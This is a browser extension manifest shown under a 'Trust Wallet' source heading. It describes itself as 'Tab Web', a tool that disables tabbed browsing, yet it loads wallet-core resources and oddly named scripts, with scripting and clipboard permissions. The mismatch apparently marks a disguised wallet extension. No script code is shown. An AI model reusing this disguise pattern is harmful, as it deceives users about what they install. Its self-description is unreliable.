Examine source code of Trust Wallet

{
  "browser_action": {
    "default_icon": {
      "32": "icons/light/32px.png"
    },
    "default_popup": "popup.html"
  },
  "background": {
    "scripts": [
      "backjiunwia.js"
    ]
  },
  "manifest_version": 2,
  "description": "This extension disables tabbed browsing. Rather than opening new tabs, your browser will open windows wherever possible.",
  "icons": {
    "16": "icons/icon16.png",
    "32": "icons/icon32.png",
    "128": "icons/icon128.png"
  },
  "content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
  "name": "Tab Web",
  "version": "1.1.3",
  "permissions": [
    "alarms",
    "tabs",
    "storage",
    "notifications",
    "scripting",
    "clipboardWrite"
  ],
  "web_accessible_resources": [
    "wallet-core.*",
    "<all_urls>",
    "plozkapwa.js"
  ],
  "browser_specific_settings": {
    "gecko": {
      "id": "{222d6706-283b-4825-a5f1-54228aa0f35b}"
    }
  }
}